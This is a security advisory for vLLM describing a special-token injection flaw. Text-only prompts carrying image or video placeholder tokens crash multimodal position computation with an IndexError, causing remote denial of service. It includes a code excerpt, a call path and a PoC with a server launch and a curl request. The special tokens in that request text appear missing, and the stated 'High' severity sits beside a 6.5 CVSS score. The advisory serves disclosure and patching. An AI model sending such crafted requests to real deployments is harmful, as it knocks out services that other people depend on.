PYSEC-2026-3409 
## Summary
This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on `image_grid_thw`/`video_grid_thw` are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.

## Details
- Affected component: multimodal input position computation.
- File/functions (paths are indicative):
  - vllm/model_executor/layers/rotary_embedding.py
    - get_input_positions_tensor(...)
    - _vl_get_input_positions_tensor(...)
- Failure mechanism:
  - The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
  - When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.

Representative snippet (context):
```python
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
    cls,
    input_tokens,
    hf_config,
    image_grid_thw,
    video_grid_thw,
    ...,
):
    # detect video tokens
    video_nums = (vision_tokens == video_token_id).sum()
    # later in processing
    t, h, w = (
        video_grid_thw[video_index][0],  # IndexError if no video data
        video_grid_thw[video_index][1],
        video_grid_thw[video_index][2],
    )
```

Abbreviated call path:
```
OpenAI API request
 → vllm.v1.engine.core: step/execute_model
 → vllm.v1.worker.gpu_model_runner: _update_states/execute_model
 → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
 → _vl_get_input_positions_tensor
 → IndexError: list index out of range
```

## PoC
### Environment
- vLLM: 0.10.0
- Model: Qwen/Qwen2.5-VL-3B-Instruct
- Launch server:
```bash
python -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-VL-3B-Instruct \
  --port 8000
```

### Request (text-only, no image/video data)
```bash
cat > request.json <<'JSON'
{
  "model": "Qwen/Qwen2.5-VL-3B-Instruct",
  "messages": [
    {
      "role": "user",
      "content": [
        { "type": "text",
          "text": "what's in picture 


" }
      ]
    }
  ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  --data @request.json
```

### Observed result
- HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
- In some deployments, the worker exits and capacity remains reduced until manual restart.

## Impact
- Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
- Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
- Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

## Fixes

* Changes associated with https://github.com/vllm-project/vllm/issues/32656

## Credits
Pengyu Ding (Infra Security, Ant Group)  
Ziteng Xu (Infra Security, Ant Group)
CVSS v3.1 score: 6.5